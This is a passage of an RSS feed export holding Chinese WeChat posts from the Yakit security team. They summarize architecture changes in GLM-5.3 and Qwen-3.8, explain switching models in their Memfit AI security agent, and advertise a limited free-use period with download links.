[&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box; font-style: normal; font-weight: 400; text-align: justify; font-size: 16px; color: rgb(62, 62, 62);&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size: 15px; font-family: PingFangSC-light; letter-spacing: 1px; padding: 0px 8px; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px 0px 8px; white-space: normal; padding: 0px; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">1.1 GLM-5.3 核心变化</span></strong></span></p></div></div></div></div></div><p style="margin: 0px 0px 8px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(255, 129, 36);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">· 混合注意力：</span></strong></span><span leaf="">线性注意力压历史 + 稀疏注意力检索关键信息，计算量降 3 倍、KV 缓存降 4.4 倍，支撑 1M 上下文。</span></p><p style="margin: 0px 0px 8px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(255, 129, 36);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">· IndexPool：</span></strong></span><span leaf="">加权池化压缩索引器缓存头，百万 token 下每 token 计算量降 2.9 倍。</span></p><p style="margin: 0px 0px 8px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(255, 129, 36);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">· mHC 流形约束超连接</span></strong></span><span leaf="">：重塑残差连接，兼顾 Scaling 能力与训练稳定性。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(255, 129, 36);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">· 参数效率 + 多模态：</span></strong></span><span leaf="">激活参数 32B→18B、层数减半，30T 多模态语料预训练，更少算力更强性能。</span></p></div><div style="font-size: 15px;font-family: PingFangSC-light;letter-spacing: 1px;padding: 0px 8px;box-sizing: border-box;"><div data-nest-level="2" data-pm-slice="6 9 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px -12px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">YAK</span></em></strong></p></div></div><div data-nest-level="2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 2px 12px 2px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;color: rgb(27, 27, 27);"><p data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;"><strong data-nest-level="9" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.2 </span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box; font-style: normal; font-weight: 400; text-align: justify; font-size: 16px; color: rgb(62, 62, 62);&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size: 15px; font-family: PingFangSC-light; letter-spacing: 1px; padding: 0px 8px; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px 0px 8px; white-space: normal; padding: 0px; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">Qwen-3.8 核心变化</span></strong></span></p></div></div></div></div></div><p style="margin: 0px 0px 8px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(255, 129, 36);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">· GDN＋QSA：</span></strong></span><span leaf="">Gated DeltaNet 压缩历史状态，Qwen Sparse Attention 在 micro-block 粒度检索重要上下文；</span></p><p style="margin: 0px 0px 8px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="color: rgb(255, 129, 36);box-sizing: border-box;"><span leaf="">· Gated Residual：</span></span></strong><span leaf="">把残差流扩成四条分支，再动态控制读写；</span></p><p style="margin: 0px 0px 8px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(255, 129, 36);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">· 51B N-gram Embedding：</span></strong></span><span leaf="">像一块大型局部模式查找表，可放在主机内存并异步预取；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(255, 129, 36);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">· Muon 优化器：</span></strong></span><span leaf="">针对大规模 MoE 重新调整参数分工和 Scaling Law。</span></p></div><div style="max-width: 100%;display: inline-block;flex: 0 0 auto;align-self: stretch;margin-bottom: 0px;vertical-align: top;box-sizing: border-box;"><div style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;margin-bottom: 2px;box-sizing: border-box;"><div style="outline: 0px;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: justify;outline: 0px;font-size: 18px;max-width: 100%;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">二、如何在 Memfit 中切换模型？</span></strong></p></div></div></div></div></div></div><div style="letter-spacing: 1px;padding: 0px 8px;font-size: 15px;font-family: PingFangSC-light;box-sizing: border-box;"><p style="margin: 0px 0px 8px;white-space: normal;padding: 0px;box-sizing: border-box;"><span leaf="">更新到最新版本 memfit ai - 旧版本体验会下降</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">然后，按下切换，就可以了~</span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.40703517587939697" data-s="300,640" data-type="png" data-w="796" style="vertical-align:middle;max-width:100%;width:586px;box-sizing:border-box;height:238px;" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="562" data-imgfileid="100046471" src="https://wechat2rss.xlab.app/img-proxy/?k=53a38d0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72E6u8YwbQbFIVWIIRf9K7QafEsicef7ibJNO3uRSvib1CKVRlyou42NaNjia5hGY2cxBj4bpOQ6Po55nBiaic87dlMh9e4PUpCwUpibmA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="letter-spacing: 1px;padding: 0px 8px;font-size: 15px;font-family: PingFangSC-light;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">趁着（2026年）8.26-8.31，Memfit AI 免费不限量，快去试试~</span></p></div><div style="max-width: 100%;margin: 0px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;border: 1px solid rgb(255, 156, 25);background-color: rgb(255, 251, 239);"><div style="box-sizing: border-box;"><div style="max-width: 100%;margin: 0px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;text-align: center;"><div style="display: flex;justify-content: center;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;margin: -10px 0px 0px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 6px 35px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;background: linear-gradient(to right, rgb(240, 78, 18), rgb(255, 155, 25));clip-path: polygon(0px 0px, 100% 0px, 90% 100%, 10% 100%);text-align: justify;"><div style="max-width: 100%;margin: 0px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;"><div style="display: inline-block;vertical-align: top;width: auto;flex: 0 1 auto;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;"><div style="max-width: 100%;box-sizing: border-box;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 12px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">END</span></p></div></div></div></div></div></div></div></div></div><div style="max-width: 100%;margin: 15px 0px 0px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;"><div style="box-sizing: border-box;"><div style="max-width: 100%;margin: 0px 15px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;text-align: left;"><div style="display: flex;justify-content: flex-start;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;margin: 0px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;text-align: justify;"><div style="box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;clear: both;min-height: 1em;"><p style="margin-left: 21pt;" data-pm-slice="0 0 []"><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;font-style:normal;font-size:12.0000pt;mso-font-kerning:1.0000pt;"><font face="宋体"></font></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><span leaf="">Memfit：<span textstyle="" style="font-size: 13px;">是万径安全旗下Yaklang团队研发的面向长程渗透测试、漏洞挖掘、应急响应等全链路攻防任务的生产级安全领域Agent系统</span></span></p></li></ul><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><span leaf="">Yakit：<span textstyle="" style="font-size: 13px;">是万径安全旗下Yaklang 团队开源的一款完全国产的交互式安全测试平台</span></span></p></li></ul></div></div><div style="max-width: 100%;box-sizing: border-box;"><p style="text-align: left;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 25px 0px 6px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;color: rgb(210, 64, 12);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span textstyle="" style="font-weight: bold;">YAK官方资源</span></span></p></div></div></div></div></div></div></div><div style="max-width: 100%;margin: 0px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 10px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);"><div style="box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box;overflow-wrap: break-word;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhq22t3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;">Yakit官网下载地址：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq5co" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p></div></div><div style="max-width: 100%;box-sizing: border-box;"><p style="margin-top: 0px;line-height: 1.5em;max-width: 100%;box-sizing: border-box;"><span leaf="" style="box-sizing: border-box;"><span textstyle="" style="font-size: 13px;">Github地址：</span></span></p></div><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box;overflow-wrap: break-word;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq1scc" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p></div></div><div style="max-width: 100%;box-sizing: border-box;"><p style="margin-top: 0px;line-height: 1.5em;max-width: 100%;box-sizing: border-box;"><span leaf="" style="box-sizing: border-box;">Yakit 视频教程：</span></p></div><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box;overflow-wrap: break-word;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq1tl2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhqw0g" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;">Memfit下载地址：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhq1p6s" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;overflow-wrap: break-word !important;"><a href="https://memfit.ai/" target="_blank">https://memfit.ai/</a></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq1oij" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">IRify下载地址：</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhqvuf" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;overflow-wrap: break-word !important;"><a href="https://ssa.to/" target="_blank">https://ssa.to/</a></span></p></div></div></div></div></div></div></div></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="line-height: 0;max-width: 100%;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6018518518518519" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046468" src="https://wechat2rss.xlab.app/img-proxy/?k=a48c60d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72EjibcckmBaibTh0FOUPX057EgK3ibS0BUicIiaGuYaQtIzNozXm5UOlezmG58A5D9iakj5icJ3nl6obGgAicqdO8gO5SNhNwScxM6AZuU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="line-height: 0;max-width: 100%;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.325" data-s="300,640" data-type="gif" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046467" src="https://wechat2rss.xlab.app/img-proxy/?k=f4537d2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FjibGAup6p72HSibGdYwlT5QLTGicyicXY4gB72macljwKX1uarPZzk9CJJARmP7ZfhvZ3o4aaygmoy2faGqArp4YUrXbAuydyvgvQshgzfkOxmo%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9294842a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247530123%26idx%3D1%26sn%3D479bf6c20dba87a9a83ac70af777ffc3">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 27 Aug 2026 12:43:00 +0800</pubDate>
    </item>
    <item>
      <title>Memfit AI架构升级，限时免费用不限量！</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247530109&amp;idx=1&amp;sn=51b205a00f381df64bbc82eace37b4ef</link>
      <description>8.26-8.31哟~~</description>
      <content:encoded><![CDATA[<p><span>Yakit</span> <span>2026-08-26 16:00</span> <span style="display: inline-block;">四川</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6c49de56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjibGAup6p72FHF522h7bLptT7XvMQ9G14lD0gjnAibtgYNs1oyegnED3Dwxny6Jyk9Br9CbJ3zvPr7pzjUUZm8uXcicysXPawXJR37ibb6okic18%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>8.26-8.31哟~~</p>
  <div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="display: inline-block;max-width: 100%;box-sizing: border-box;"><div style="line-height: 0;max-width: 100%;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1927710843373494" data-s="300,640" data-type="gif" data-w="1079" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046451" src="https://wechat2rss.xlab.app/img-proxy/?k=8dbbbe01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FjibGAup6p72EacjWAXILRT4FIeJEiboLicJHtzgOGQIXnhwuYVnqIe1Z7shobSMBlpWURmuPia9Jw3asJs6VD3qHmNf8QQAlvp2b0pzHWIXs7TQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><div style="text-align: unset;max-width: 100%;font-size: 15px;letter-spacing: 1px;padding: 0px 8px;box-sizing: border-box;"><p style="margin: 0px 0px 8px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">Memfit 版本更新啦<img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-w="20" style="display: inline-block;width: 20px;vertical-align: middle;background-size: cover;" src="https://wechat2rss.xlab.app/img-proxy/?k=33b3d8da&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fassets%2Fnewemoji%2F2_04.png"/>，限时活动</span></p><p style="margin: 0px 0px 8px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-weight: bold;">标准模型</span>与 <span textstyle="" style="font-weight: bold;">DeepSeek V4 Flash 0731 </span></span></p><p style="margin: 0px 0px 8px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-weight: bold;">不限量供应</span></span></p><p style="margin: 0px 0px 8px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-weight: bold;">时间：8月26到8月31日</span></span></p><p style="margin: 0px 0px 8px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">下载最新版本 Memfit AI v1.04-0825 版本</span></p><p style="margin: 0px 0px 8px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">下载地址：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span mpa-font-style="mryegmhq5co" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a> </span></em></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span mpa-font-style="mryegmhq5co" style="-webkit-tap-highlight-color: 